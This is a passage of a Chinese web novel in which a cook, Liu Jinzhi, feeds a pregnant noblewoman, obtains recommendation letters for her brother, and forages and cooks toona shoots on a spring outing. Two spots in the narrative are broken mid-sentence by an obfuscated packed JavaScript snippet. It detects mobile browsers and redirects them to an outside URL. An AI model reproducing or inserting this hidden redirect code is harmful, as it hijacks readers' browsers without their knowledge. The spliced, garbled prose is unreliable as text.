“这位柳娘子倒是没怎么听说过，我只觉得上次你去蔡氏饭馆带回来的鱼不错。”傅钗华叹了口气，“只是妇人孕中不得多食鱼虾一类的河鲜，否则对胎儿不利，我才不得不少食些。” 柴靖还要安慰，双儿却已经送了酸馅儿包子过来了。 这包子几个并排摆在一只薄胎白釉碟子里，外皮雪白，鼓鼓圆圆，就像一只只小兔子，煞是可爱。 柴靖忙不迭接过来，送到傅钗华面前，道：“夫人，膳食送来了，不如来试试？” 傅钗华叹了口气，转头吩咐丫头们将漱口盆和手帕预备好。 她怕自己刚吃就要吐。 慢吞吞走到桌边坐下，柴靖夹了一只酸馅儿包子送到她嘴边。 傅钗华犹豫了下，还是缓缓张开嘴，小小咬了一口。 30. 引荐名师 刹那间，一股淡淡的酸香进入口腔，萦绕鼻尖，腹中一直躁动不安的呕吐欲望，竟然被这股香味儿尽数抚平。 外皮的蓬松柔软，馅料的鲜香美味。 两者仿佛相得益彰。 越嚼就越有一种强烈的饥饿感从胃袋深处腾起。 等到傅钗华回过神来时，她已经就着柴靖的手又咬了一大口。 柴靖见傅钗华的饮食动作居然带上了一丝急迫，不由得大喜，连忙小心喂食，等傅钗华吃完一个，赶紧又夹一个。 直到傅钗华摆了摆手，柴靖才停了。 不过见傅钗华吃的这么香，柴靖也没忍住，傅钗华吃不下了，他干脆就把剩下的酸馅儿包子全都扫进了肚子里。 但一碟酸馅儿包子只有八个，傅钗华吃了六个，只剩下两个，这叫柴靖这个大男人根本填不饱肚子，上不上，下不下地吊在这里。 不由舔了舔嘴唇，问双儿道：“双儿，还有包子没有？” 双儿面带愧色，道：“本来是有的，但这酸馅儿包子是柳娘子的新手艺，我们怕伤了夫人是胎，就试了一遍菜，所以就没有多的了。” 傅钗华失望道：“这酸馅儿包子确实好吃，我还在想若有多的，留着蒸上一屉，可惜了。” 柴靖道：“也不知道这酸馅儿包子今日可不可以再做一次？” “我也不清楚，因为这包子馅料颇为特殊，不如请柳娘子来与姑爷、夫人说一说？” 傅钗华惊喜笑道：“快些传来。” 傅钗华没见过柳金枝本人，还以为柳金枝是名中年妇人，见着了之后发现柳金枝居然生得年轻貌美，不由得惊讶。 “柳娘子这样年轻，就有如此高超的手艺，真是天赋异禀。”傅钗华忍不住赞叹。 柳金枝福身行礼，语气温和：“夫人过誉了。听说夫人想要再做一笼酸馅儿包子，只可惜这包子的馅料难得。要前一晚就放置，直到馅料变酸。但若是放的久了，馅料太酸，吃了怕是会腹泻。” 言下之意便是馅料已经放了过久，怕是不能用了。 傅钗华顿时面露失望。 美人细眉微蹙总是惹人怜惜的。 柴靖拍了拍傅钗华的肩膀，问道：“柳娘子，还请你想想办法吧。我夫人最近吃什么都不舒服，只有这酸馅儿包子还算用的多一些。” 柳金枝也没想到傅钗华会这么喜欢她做的包子，毕竟孕妇一般都是吃什么吐什么。 但眼前这人可是她的最大金主，无论怎样都得把人家的胃牢牢抓住。 便和气笑道：“相公莫急，除却这酸馅儿包子外，我还有其他的手艺，若夫人愿意试试，我晚些时间就做了送来。” 傅钗华、柴靖闻言，都忙不迭转忧为喜，笑道：“多谢柳娘子了。” 尔后傅钗华更是从自己袖子里取出一锭银子递给柳金枝，高兴道：“这是三两银子，还请娘子收着。” 柳金枝一愣：“现下就总账么？” “不，这三两算在酬金之外，就算是我多谢娘子的手艺，让我终于能安安稳稳的吃一顿朝食。” 傅钗华笑的温柔。 柳金枝见柴靖性格颇好，傅钗华也是位好说话的。 想一想，就没有上前去接这三两赏钱，反而福身道：“夫人容秉，奴不想要这赏钱。” 傅钗华愣了一愣，疑惑道：“哦？莫不是娘子觉得这三两银子不够？” “非也，夫人出手阔绰，胜过奴平生所见，只是奴心中别有所求，所以宁愿舍弃金钱，也想求夫人一个恩典。” 傅钗华细细思索片刻，道：“你且说来听听不迟。” “奴进府时，闻得傅老爷膝下只有夫人与傅二郎君，二人自小玩伴在一起，感情深厚。敢问夫人，此言可真？” “自是真的。”傅钗华点头，唇边凝出一抹温柔怀念的笑容，“我与阿弟自小就伴在一处，确乎手足情谊深厚。”却又转为疑惑，“可这与娘子又有何干系？” “夫人，奴也有一个阿弟。”柳金枝望向傅钗华的眼，神色极为诚恳，“奴自小离家，阿弟带着年幼小妹在汴京城里吃足了苦头。阿弟他本来读书很好，却因为若要读书，家中就没银子吃饭，便中途辍学，直到现在。奴心疼阿弟，想要为他寻一位好些的先生，却求靠无门。所以……” “所以你想用这赏钱，换一位能教导你阿弟的先生？”傅钗华此刻了然。 柳金枝点头。 其实柳金枝大可以去找项志轩帮忙介绍，看在两人关系，项志轩必然不会拒绝。 但说句难听些的话，阶层不同，能介绍的老师肯定就不同。 若是傅府愿意出手帮她，介绍的自然就是名师，也能带给柳霄更大的帮助，那柳霄考中的希望就更大些。 人都有私心，她自然也想多照顾柳霄一些。 更何况这种请求对于傅钗华与柴靖来说，不过举手之劳。 傅钗华眼神温柔下来，道：“手足之情，是这世上除却父母与夫妻之外，最舍弃不掉的情感。我明白你为幼弟的心，只是我身在后宅，对科举学业一事并不清楚。” “不如去问问霁景。”柴靖弯起眉眼，在一旁给建议，“往日他一心读书，又总爱出门游学。结识的名师怕是没有一百，也有八十了。” 傅钗华犹豫道：“前院后宅怕是不好随意走动，阿弟又不认识柳娘子……” 柴靖却哈哈一笑，将傅霁景如何救了柳金枝，柳金枝如何报恩的事情一说。 “柳娘子见了霁景张口闭口必然呼其为恩公，重礼重情，咱就是让霁景出面帮一帮也并无不妥。”柴靖道。 知道了来龙去脉，傅钗华也是松一口气，不再阻止，对双儿笑道：“双儿，你去将二郎君唤来。” 双儿应声去了。 柴靖也不把柳金枝当外人，大大方方地揭傅霁景的老底。 “说起霁景，你这个做阿姐的也该管管他。现在如同老僧一般，衣裳全是暗沉沉的颜色，都比不得我这个姐夫鲜亮。钗华，你什么时候也替他去置办两身颜色衣裳？” “你以为我没想过？可他就是不肯。”傅钗华叹了口气，“小时阿弟分明还是活泼的，但我家子嗣不兴，父亲和祖父对他又有太多期望。他自己也逼着自己，一头扎进书堆不肯出来，没过几年就成了这般模样。” 柳金枝闻言，心中微动。 她还以为傅霁景天生就是这么一副端方君子相，原来也不尽然。 她不由想起柳霄。 其实从某种程度上看，柳霄和傅霁景倒是颇为相似。 一样的倔，一样的喜欢逼自己。 正说着，双儿的声音响起：“二郎君这边请。” 几人抬眸看去。 只见远远有个人影朝他们这边走来，这人穿一身莲花暗纹交领衫，中系绦带，外套一件罗素对襟衫子，一头墨发以梁冠式青玉发冠固定，中间插一根玉簪，越发衬出他俊逸儒雅似美玉。 柴靖却眼神惊奇，仿佛在看一个奇迹般，道：“钗华，你说我莫不是瞎了？怎得看见霁景做了身鲜亮打扮？” 傅钗华也没想到，微微瞪大了眼睛。 虽说今日傅霁景这套衣裳依旧以暗色为主，但能在外头搭一件罗素的对襟衫子，就已经是偌大的进步了。 但他怎得忽然变了？ 傅霁景顶着二人的眼神，从容沉静地叉手下拜：“见过姐姐，姐夫。”，又转过去看柳金枝，声音轻了一些，笑眼盈盈，“见过……柳娘子。” 柳金枝赶紧还礼，又上下看看傅霁景这一身打扮，忍不住抿唇微笑。 说实话，她知晓傅霁景生得俊美不凡，只是不太会打扮。但长久以来也看惯了他那副呆板衣裳，如今陡然改换，虽确实亮眼夺目不已，却总觉得有些不像傅霁景起来，不由有些好笑。 而傅霁景对上柳金枝的笑眼，浑身似有些不自在，忍不住左右扯扯衣裳袖子，整理整理领口，确认自己的衣裳确实一丝不苟，没有哪里不对，又眼生疑惑。 难道是他这衣裳穿的还不够鲜亮？ “霁景，你怎得没事儿来扯衣裳？”柴靖大大咧咧地把人拉过来，“柳娘子的阿弟要寻位老师，你认识的人多，替人参谋参谋。” 傅霁景闻言，立马收敛心神，认真思考良久，才斟酌着开口道：“我认识几位德高望重的老先生，可以引荐给娘子的弟弟，不如写下来给娘子。” 一边说着，一边取了桌上的笔墨纸砚，落笔成文，写成五封推荐信，抬手交给柳金枝。 傅霁景的字不如其人温和规矩，反而龙飞凤舞，肆意张扬，带着金戈铁马之气，煞是好看。 柳金枝忍不住欣赏了一会儿，才仔细去看信件内容。 不过上头推荐的五位老师柳金枝都不认识。 大概是柳金枝疑惑的味道太明显，傅霁景在一边温声解释道：“这几位老师都与我傅府交好，若拿着傅府的推荐信去，他们应当会给几分薄面。只是老师们都要求严格，最后结果是怎样我不能保证。当然，我自会极力斡旋。” 柳金枝高兴不已，赶忙道谢：“多谢恩人相助，算上上一次，我已经欠了恩人两个人情。往后若恩人有需要，奴必当结草衔环，以报大恩。” 傅霁景想让柳金枝不要如此生分，道：“娘子不必客气，不过举手之劳。” 但又怕心思太明显，补了一句：“我阿姐还要麻烦娘子多照顾了。” 柳金枝还以为傅霁景的意思是，若要报答他，就帮忙照顾傅钗华。 于是就像接了重大任务一般点头，认真道：“恩人放心，每日早晚两餐，我都会做好了与主家送来。我这就去预备食材！” 又福身一礼，就兴高采烈地退了出去。 傅霁景顿时一怔。 他似乎想张口说些什么，可是柳金枝想尽力报恩，因此走的速 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536451|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度极快，傅霁景都来不及叫住人，柳金枝的背影就消失了。 傅霁景：…… 傅霁景眼神幽怨。 他才换的一身衣裳，怎么就换不来多看一眼？ 所以应当还是衣裳不够鲜亮的原因。 柴靖倒是像只花蝴蝶一样围绕着傅霁景转了两圈，啧啧打趣他居然换了衣裳，质问他是不是铁树开花，傅霁景木着脸没理他。 倒是傅钗华蹙了下眉心，多看了一眼柳金枝的背影，似乎察觉到了什么。 在傅府内待至晚间时分，柳金枝又做了一顿晡食呈上去，就要离开，双儿照旧送她。 因为今日是柳金枝第一次做膳食给傅钗华用，所以才要亲身到傅府来，往后为了不耽误食摊的生意，柳金枝与傅府定好，都是傅府送食材到食摊来，柳金枝做好了在派人送来。 如此柳金枝能赚两份钱，也不得罪傅府，双方都很满意。 乐滋滋地出了府，柳霄已经在门口等着她了。 少年人的身形被夕阳无限拉长，单薄却又笔直，眉峰蹙起，好似一把利剑，伫立在天地之间。 “霄哥儿？”柳金枝高兴地唤了他一声。 “阿姐。” 柳霄回过神来，眉头一松，又恢复成以前那个克己复礼的少年郎，面带微笑地两三步朝她走来。 却是刚在柳金枝面前站定，就被柳金枝点了点眉心。 “在想什么呢？眉头都要皱成一个大疙瘩了。” 柳霄摇摇头，笑道：“没想什么。” “是不是还在忧心科举的事儿？”柳金枝笑嘻嘻的，“别怕，傅府里的二郎君是个顶好的人，他愿意帮你引荐老师。瞧！” 柳金枝把那五封推荐信拿出来，秀给柳霄看，笑道：“高不高兴？” 柳霄有些疑惑，柳金枝怎么进府做一次饭就能拿到五封推荐信？ 他半信半疑地接过一看，顿时瞳孔骤缩。 第一封举荐的是巨峰真人，这位从前是内阁大学士，后出家在道观隐居，常人极难见到此人真容。 第二封举荐的是宋端老学士，四十年前的榜首，诗作天下闻名。 第三封…… 五封推荐信，个个都是柳霄只曾经在传闻里听说过的人物。 甚至别说他了，就是项志轩、潘安玉这般人都不一定能见到他们，得他们指教。 “怎么了？这些老师都不好吗？”柳金枝看着柳霄变幻莫测的脸色，十分疑惑。 不对啊，傅霁景人品这么好，他一出手，必然全是名师吧。 柳霄知道柳金枝对这些大文豪都不太了解，他抿了抿唇，也没多说什么，只将推荐信收起，问： “阿姐，傅二郎君将这信给你的时候，可曾嘱咐过什么？” “哦……他只说这五位老师虽与傅府有些交情，但要求十分严格，结果他不能把握，还让我不必言谢，不过举手之劳一类。”柳金枝道。 柳霄握着信封的手不由收紧了。 他知道傅霁景这是把话往轻了说。 实际上就是这几位大儒与傅府交情甚笃，所以哪怕是傅府的二郎，都能以个人名义轻易给出五封推荐信。 可是这样的权贵之家，推荐信能是这么好拿的吗？ 柳霄看向柳金枝。 只见柳金枝额头冒汗，两颊鲜红，早上去时，明明青丝不乱，此刻却因劳累，而使得鬓边发丝散开。 阿姐必然为了他在府内伏低做小，辛苦不已。 柳霄轻声道：“这些老师都非常好，谢谢阿姐。” 柳金枝松了口气，道：“既然如此，那我们改天选个吉日，去拜见这几位老师。” 既然拜师，就得带礼。 她该买些什么送给这五位老师呢？ 柳金枝陷入沉思。 可从柳霄的视角看柳金枝，只能看见她不言不语，面无表情，微微垂着头，散乱的青丝垂落在耳畔，仿佛极度疲惫。 柳霄更是攥紧了拳头。 “阿姐。”柳霄忽然开口。 “……什么？”柳金枝一时没反应过来。 柳霄极其坚定地说：“以后傅府主子们有的待遇，我要让你也有！我想让你以后再不落在人后，再不屈居人下，也再不用辛苦劳累！” 柳金枝：？？？ 但看着柳霄干劲十足地掏出一本书，坐在驴车上拼命往下读，一副发愤图强，考不上我就跳河的模样。 意识到柳霄似乎误会了什么，但看孩子如此努力学习，她不好解释，只好摇头微笑，也在驴车上找个地方坐下。 驴车缓缓往前行驶，伴随着耳边柳霄朗朗读书声，柳金枝手搭瞭望台往前看去。 前方冬雪即将化尽，春色欲将喷薄而出。 春天就要来了。 柳金枝唇边弯起一抹微笑。 新的季节里，祈愿日子会比过往更顺遂吧！ 31. 香椿 杜甫曾说：“三月三日天气新，长安水边多丽人。” 春日一到，汴京城的热闹繁华也好似翻了一番，四处花团锦簇，游人如织，富贵者走马踏青，平头百姓也出门游逛。 一时间，四处可见丽人们头戴飘纱斗笠，策马而行。 也多亏了这片好春光，柳金枝的食摊人流不减反增，每日稳定收入五百文左右，家里的高粱坛子也是越来越重了。 一家人便商量着拿出一笔钱来出去耍个来回，也不辜负这难得的和煦日子。 正好这时应天爵、项志轩一同来叩门首。 “妹子！妹子！”应天爵一进门就嚷嚷开了，“你快些出来。” 柳金枝走出门来，笑道：“应大哥，你是无事不登三宝殿，这回可又有什么喜事寻我？” 项志轩笑道：“柳娘子金口，当真是喜事。” “我今日与杏安兄弟做成了一笔生意，也是太高兴了。”应天爵脸色红润，极为高兴，“傅府叫我帮忙去一趟秦淮运货，要是干得好，说不定会给些银两给我，叫我当个铺子掌柜呢！” 应天爵觉得，这一定是他帮衬柳金枝的事情被杏安知道了，杏安后头的主子一时高兴，就给了他这个恩典。 所以他更要来和柳金枝打好关系 也就道：“现在开春了天气暖和，不如咱们一块儿出去踏青？我再派人叫上潘安玉一块，喝喝酒，吃吃菜，痛痛快快耍一天。” 这与柳金枝的想法倒是不谋而合。 不过柳霄近来发愤温书，没时间和他们出去，就只带月牙和杜卫。 柳金枝就笑道：“承蒙应大哥相邀，我没有不答应的。” 应天爵拍手一笑，道：“妹子豪爽！走走走，我去租驴车，咱们这就往城外去！” 作为汴京城第一帮闲，应天爵认识的人极多，不多时就找来两辆宽敞驴车，载了他们一行人出了城。 城外春光比城内更甚，所谓草长莺飞，所见之处凡是春色皆是翠色欲滴。连绵起伏的群山如同一片绿色波浪，风吹林响，高低起伏，波涛汹涌。 一行人寻了处可以乘凉的大槐树，树下有石凳四五个，中间坐落一张石桌，桌面颇大，可以容纳五人围坐。 几个人都笑运气好，赶紧卸下随身带着的包袱皮儿去占桌子。 柳金枝正拿手帕擦石凳呢，这时耳边传来一道清朗的男声，带着十足的兴奋。 “柳姐姐！应大哥！项兄！” 众人抬眸一望，只见融融春日之下，一名身着束袖修身茜红锦衣，脖颈上带一个金玉项圈的少年郎，手执马鞭，鲜衣怒马而来。 是潘安玉！ 众人一喜，正要上前去迎。 刚上钱，却发现潘安玉身后还跟着一个冷峻青年。 青年眉眼锋利俊美，手指上戴着诸多红蓝宝石戒指，富贵大气，腰间又有一条价值千金的明玉带，绚丽夺目。 可谓是浑身的珠光宝气。 而比起潘安玉的少年意气，他更显沉稳，只是信马慢游，不急不缓地到了众人面前。 众人登时不由得面面相觑。 他们只是叫潘安玉过来，没想到潘琅寰也跟着一块儿来了。 这位老兄的性格可是一等一的目中无人，傲慢自大。 是个硬茬子！ 应天爵觉得棘手，但出于礼数，还是与项志轩一同对潘琅寰叉手下拜。 “这……潘大官人怎的来了？我们也无甚准备。” 应天爵小心笑道。 潘琅寰翻身下马，目光缓缓从站在后头的柳金枝身上扫过，淡声道：“小弟向来胡闹惯了，我担心他在踏青时给你们添麻烦，故而过来看顾。” 潘安玉忍不住小声嘀咕了一句：“分明就是你自己想出来，还赖我。” 却叫潘琅寰不紧不慢地瞥了一眼，登时寒毛倒竖，赶紧住了嘴，往项志轩那边躲了躲。 正好项志轩接过话题，笑道：“这么好的春光，没有美食可就辜负了。所以来之前我就与潘兄商量，特意带了些炊具来。咱们几个人一人出一道菜，岂不妙哉？” 把做菜当乐趣。 宋朝文人在这方面真是大俗当大雅。 柳金枝在厨艺方便拿手，不过是做一道菜，自然没什么好拒绝的。 潘安玉就更愿意了。 在家里头潘琅寰就不许他进膳房，这回好不容易能过把当膳工的瘾，登时活泼起来，乐呵呵地说： “炊具就在后台的驴车上，项兄，咱们去搬来，正好我做菜的时候你还能搭把手。” 就拉着项志轩一块儿走了。 应天爵有意让潘琅寰偷闲，就道：“我会做菜，不需要帮手。不过月牙小妹人太小，得有个人看着她，不如就叫杜卫小兄弟和潘大官人……” 话没说完，潘琅寰淡淡打断他，道：“我跟着柳娘子。” 几人一怔。 柳金枝迟疑道：“潘相公，我想去山中寻些野菜，山路难行，怕是会脏了相公一身锦衣。” “不妨事。”潘琅寰挑极黑的长眉，“况且你一个女子在山中寻菜更需要人手帮忙。” 随后将马鞭挂在劲瘦的腰间，绑着金纹袖箭的手捞起驴车上一只竹编篮子，走到柳金枝身边，扬扬下巴，颇为傲娇。 “走吧。” 柳金枝便应下，转身一步朝山里走去。 但山路难行，柳金枝走的很慢。 而一向脾气不耐的潘琅寰，此时竟颇有耐心，在柳金枝身后亦步亦趋跟着，时不时还走到前头去一脚踢飞某块拦路大石。 众人虽然碍于潘琅寰威势不敢正大光明看，可全都落在后头偷偷摸摸观察，见此情形，不由得面面相觑。 项志轩嘶了一声，道：“应大哥，你说潘大官人他是不是……？” 应天爵摸着下巴点头：“我觉得是。” 只有潘安玉不明所以：“是什么是？” 一群人在打什么哑谜呢？ 项志轩拍拍自己这傻兄弟的肩，真诚建议：“你以后还是和柳娘子打好关系吧。” 说不定以后就要管人家叫嫂子了。 潘安玉莫名其妙，道：“不用你说我也会，柳姐姐可是我师傅！” 应天爵一笑，道：“潘家兄弟，你可真得亏是托生到了潘家，有你家里这位凶神般的哥哥镇着。” 不然就以潘安玉这傻样，在外头早给人撕碎了。 真是傻人有傻福。 * “春日里野菜多，有荠菜、蒲公英、马齿苋……看见什么就采什么吧。” 柳金枝一边提裙走着山路，一边对身边潘琅寰说道。 潘琅寰皱了皱眉头，望着这漫山遍野的青翠，道：“可我一个也不认识。” 柳金枝眉眼弯弯，笑道：“我教你，很简单的。” 她走到路边寻觅片刻，摘起来一株绿叶红茎的菜，递到潘琅寰面前。 “瞧，这是马齿苋。” “中医上可以用它来消炎降火、减缓腹泻。” “饮食上，它可以凉拌、清炒、炒鸡蛋。只需要用蒜泥、盐等调料拌好，味道就很清新爽口。” 柳金枝站在碧绿野地里，一袭衣裙摇曳生姿，笑眼明亮，唇红齿白，说起话时，声音温柔动听。 潘琅忍不住从脸红到了脖子。 “还有这个。” 柳金枝走到别处，摘起来一株看起来像锯齿的菜。 “这是蒲公英，比马齿苋吃法更多。” “可以凉拌、蘸酱、做馅、清炒和煲汤。” “凉拌蒲公英就加入蒜末、生抽去调味。清炒时就和肉片或鸡蛋搭配。煲汤呢，就加在蛋花汤或排骨汤中。” “是不是简单又好做？” 潘琅寰红着耳尖点头，别别扭扭夸奖道：“你……懂的还挺多的嘛。” 此时，柳金枝眼角余光瞥见一处绿树丛中，一根锈红的细长植物直立着，植物头上冒着一颗碧绿的菜头。 她赶忙过去将这碧绿菜头摘下来，回眸摆给潘琅寰看，笑道：“我们运气不错，喏，这是香椿。” 香椿，是春日草木之芽。 颜色碧绿，香味浓郁，鲜嫩清脆，很受大宋百姓和文人的欢迎。 宋代梅尧臣的《答建州沉屯田寄新茶》一诗中，就写到：“春芽研白膏，夜火焙紫饼。” 里面的春芽就是香椿。 而作为最受欢迎的野菜之一，香椿的做法自然也是多种多样。 可以在焯水之后用香油伴着吃，也可以和着猪肉一块儿炒着吃。 味道鲜嫩，又富有营养，是很不错的野味。 就是现代也有很多人买来吃，价格还贵，能卖到五十块一斤。 但现在在野外，雨后香椿长势极茂，任他们采摘，倒是不用钱的美食。 柳金枝哼哧哼哧地摘了一手的香椿，放进潘琅寰拿着的竹编篮子中，又仔细教潘琅寰辨认。 潘琅寰左左右右看了几眼，似是已经记住了，便很是豪气地将柳金枝一拉，挑眉道：“欸，这种小事不必劳烦你，你坐着休息，我去摘。” 柳金枝一愣，刚想说此处山路泥泞，怕是不好走，潘琅寰已经利落地将衣摆踢起来掖在腰间，大步迈进了草丛。 而且看起来颇为急切，好似挺想在柳金枝面前表现表现。 柳金枝担心潘琅寰出事，跟了几步，耳边忽听得一声—— “啊！” 柳金枝赶忙拨开草丛，却见春雨含潮，泥稀地陷，面前好大一片泥潭。 而潘琅寰就半只腿陷入泥里，衣裳、袍子、发冠全都脏了，白玉似的脸也沾了泥，狼狈地揪住岸边植物才没完全陷落进去。两只手上戴着的各色宝石戒指也都沾了泥，脏兮兮的。 柳金枝赶紧要去拉他，却被他憋着气阻止。 “等下！我不要你拉。” 潘琅寰似是觉得丢了大脸，硬是自己挣了挣，却没挣出来，反而陷的更深了，顿时窘迫不已。 柳金枝憋笑，哄他道：“潘大官人，这泥潭越挣扎陷得越深，若是泥潭过了腰，可就很难救出来了，快些把手给我。” 潘琅寰不由觉得自己在柳金枝面前丢了大脸，但在僵持片刻后，他还是无法挣脱，性命之忧的威胁下，终是低下头，任由柳金拉住了他的手。 只是拉上来的时间还是晚了点，他陷的太深，腰腿全都灌满了泥浆，浑身珠光宝气的冷峻富贵少爷，如今倒没一处是干净的。 “哈哈哈！” 柳金枝再憋不住，笑出了声来。 潘琅寰羞恼不已，气道：“这事儿不许告诉外边那群人！” 这位可是自己的财主呢。 柳金枝弯着一双笑眼，道：“嗯嗯，我一定守口如瓶。” 潘琅寰明明还想说什么，可见柳金枝笑的那么开心，眼睛又明又亮，又说不出什么了。 只哼哼唧唧了两声，偏开头，抓起竹篮往前走。 看他大步流星，柳金枝朗声问：“潘相公，你是要回去换身衣裳吗？” 却不想潘琅寰头也没回地说：“换什么衣裳，香椿还没摘呢。为了你这顿饭，我摔进泥潭里，丢了这么大的人，所以我一定要吃上！” 柳金枝又笑出了泪花。 * 春雨过后的香椿长得最好，一茬冒一茬，独立在湿润雨气浓烈的山野白雾之中，就像隐世而居的桃花源人士。 这回潘琅寰小心了许多，他身手本就利落，生长的再偏僻的香椿都能被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15545010|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他伸手勾过来，所以没一会儿功夫就采到了一大篮。 柳金枝笑眯眯地夸他：“潘相公真是好身手。” “那是自然，我曾随八十万禁军教头学过一阵棍棒，也跟着几位将军练过骑射。若在校场上比划，不是我说大话，倒是难有敌手。” 潘琅寰得意地昂起头。 这么一提，柳金枝就意识到其实潘琅寰的家世也不低。 寻常商家可没本事跟着八十万禁军教头学本领。 不过人在汴京城住嘛，柳金枝也习惯了身边时不时就有一两个达官贵人冒头。 毕竟以汴京的繁华程度，一板砖下去砸到十个人，其中五个平民，还有两个大官，两个文豪，一个隐世高人。 大隐隐于市的那种。 柳金枝的夸奖显然让潘琅寰兴致更高，他掂了掂手里的香椿，不满道：“你瞧这山里这么多香椿，咱们就采了这么点，我再去采采！” 他还没热身呢！ “潘相公，不用啦。”柳金枝将人拦下来，“香椿不用太多，若是一时吃得太多了，反而会叫人上吐下泻，严重的还会丧命，这些就够了。” 潘琅寰犹豫两下，还是止住兴奋势头，道：“也行吧，不采了。” 可他又觉得不采香椿了，他没什么地方表现。 苦思冥想半晌，他忽然就嚯一下把篮子扛起来，大手一挥，道：“那我给你扛回去，我扛得可快了，你瞧着啊。” 然后大步流星往山下跑，一会儿就成了一道残影。 柳金枝：…… * 山下几人已经开火了。 应天爵做了道春笋炒肉，潘安玉做了道野山蕈汤。 看见潘琅寰回来，潘安玉本来想给哥哥炫耀一番，又想到哥哥不喜欢他做菜，又讪讪地把目光收了回来，躲在了项志轩后头。 潘琅寰扯下衣摆稍微遮掩泥腿裤，转头看见潘安玉一副窝窝囊囊的样子，又是一阵气不打一处来。 憋得他转过头，眼不见心不烦，专心专意给柳金枝打下手去了。 春日溪水潺潺，清澈见底。他陪着柳金枝一块儿蹲在岸边，一面在竹篮里头撒上食盐，一面将竹篮浸入冰凉的溪水里清洗香椿。 柳金枝就着食盐搓洗香椿根部，潘琅寰就在一旁帮她浇水。 潘安玉小心翼翼凑在一边看，柳金枝抬头看了他一眼，笑着解释道： “香椿长在山野之间，叶与叶之间夹杂着很多尘土，用盐搓洗能洗的更干净些。” 而且这溪水是从山顶流下，清澈见底，源头活水当中，又不存在什么细菌。 洗的就更干净了。 尔后，柳金枝将洗净的香椿放入一个干净的大盆内控干水分，另外抽手取来一壶溪水，将之倒入铁锅之中，放入一勺食盐，一勺花椒油，叫潘琅寰帮忙添柴烧火。 这锅是现架起来的，有些简陋。 潘琅寰几次没生起火来，反倒把脸上弄得黑一道，白一道的。 搞得杜卫、月牙、应天爵和项志轩几个都来七嘴八舌的指点、帮忙。 虽然有越帮越忙的嫌疑，但最后这火还是生了起来。 潘琅寰松了口气，看向众人抱拳拱手：“今天我倒是学到了很多东西，多谢你们了。” 几人都是一笑，赶紧摆手谦虚。 先前因为潘琅寰不请自来的尴尬氛围，无形中消散了许多。 等水滚了，柳金枝就将香椿放下去焯水。 “香椿虽然是菜，里头却有很多的亚硝酸盐，如果不焯水就吃，很容易拉肚子。”柳金枝对潘安玉解释。 潘安玉欲言又止，很想问问亚硝酸盐是什么？ 但看柳金枝做的认真，又不好意思打扰，就默默记下来。 香椿在开水里随着水波上下起伏，不到半刻钟的时候，就从青翠碧绿变成了翡翠一般的深沉颜色。 柳金枝用铁笊篱把香椿捞出，放在尚带春寒的溪水中浸凉，尔后又捞出，右手抓起一团香椿，放在手里挤压出多余的水分，继而切成小段，放在碗中备用。 她打算做香椿炒鸡蛋，最好加点小葱增香。 若是在汴京城里，她就随手在调料碗里抓了，但是现在在野外，这地地道道的香椿野菜，就得配上地地道道的小野葱，这样才叫相得益彰！ 这事儿潘安玉熟啊。 赶紧自告奋勇：“柳姐姐，我去给你寻摸！” 说完就乐颠颠地跑开了。 柳金枝也没打击孩子的积极性，任由他去，自己又到驴车上摸了三四个鸡蛋出来，单手开壳，打进一个碗里，再加食盐和米醋调味去腥，最后用竹箸将鸡蛋打算，倒入已经切碎的香椿之中。 后头杜卫跟着月牙帮柳金枝架锅烧火。 没一会儿，锅热了。 柳金枝赶忙甩干净手上溪水，起身到锅前，接过杜卫手里的一壶热油，淋进锅内。 热锅遇冷油，发出渍一声响，顿时往外扑哧扑哧冒起白烟来。 热乎乎，火辣辣的锅底用来煎蛋是最好的。 于是柳金枝将香椿鸡蛋液倒入锅中，但一时间不去动它，只等热油将香椿鸡蛋液的底部煎到定型，才用扁头锅铲去翻面。 煎炒的过程中，春风习习，温热的鸡蛋香味与野菜清香顿时扑鼻而来。 叫在场众人都忍不住深深吸了一口气。 正好此时潘安玉也将小野葱寻来了，赶忙洗净切碎，一齐撒入锅中。 小野葱比起家中的野葱，味道更加辛香浓郁，更别提是扔进热锅之中大火翻炒，更是将这股香味放大了。 与此同时，不远处的一座山亭之中。 杏安抽了抽鼻子，口中发馋道：“二郎，你闻见什么味儿没有？好香啊！” 32. 用美食贿赂名师 香椿炒鸡蛋起锅，刚摆到石桌上，这几个人就跟馋猫儿似的，一刻也等不及，手上竹箸仿佛蛟龙入海，你争我抢。 满满一盘的香椿鸡蛋，没一会儿就光盘了。 月牙想是也别喜欢这盘香椿鸡蛋，埋头吃得不亦乐乎。 杜卫见状，就将自己好不容易抢到的都夹给了月牙。 “月牙，多吃一点，杜哥哥的也给你吃。” 柳金枝摇摇头，道：“杜卫，你也吃啊，不要太惯着月牙，这些吃的咱们回家还能做。” 杜卫张了张嘴，还没来得及开口。 月牙倒是忙中抽空，从碗中抬起头来，含糊不清地说：“阿姐，我是杜哥哥的妹妹啊，哥哥宠妹妹是应当的。” 说完，月牙勉力直起身子，夹了一块香樟炒鸡蛋，放入了杜卫的碗里 “当然啦，妹妹照顾哥哥也是应当的。杜哥哥，快吃，阿姐炒的这个菜可香了！” 杜卫心中一软，摸摸月牙的小脑袋。 潘琅寰想了想，就将自己碗里的香椿一分为二，一份给了月牙，另一份给了杜卫。 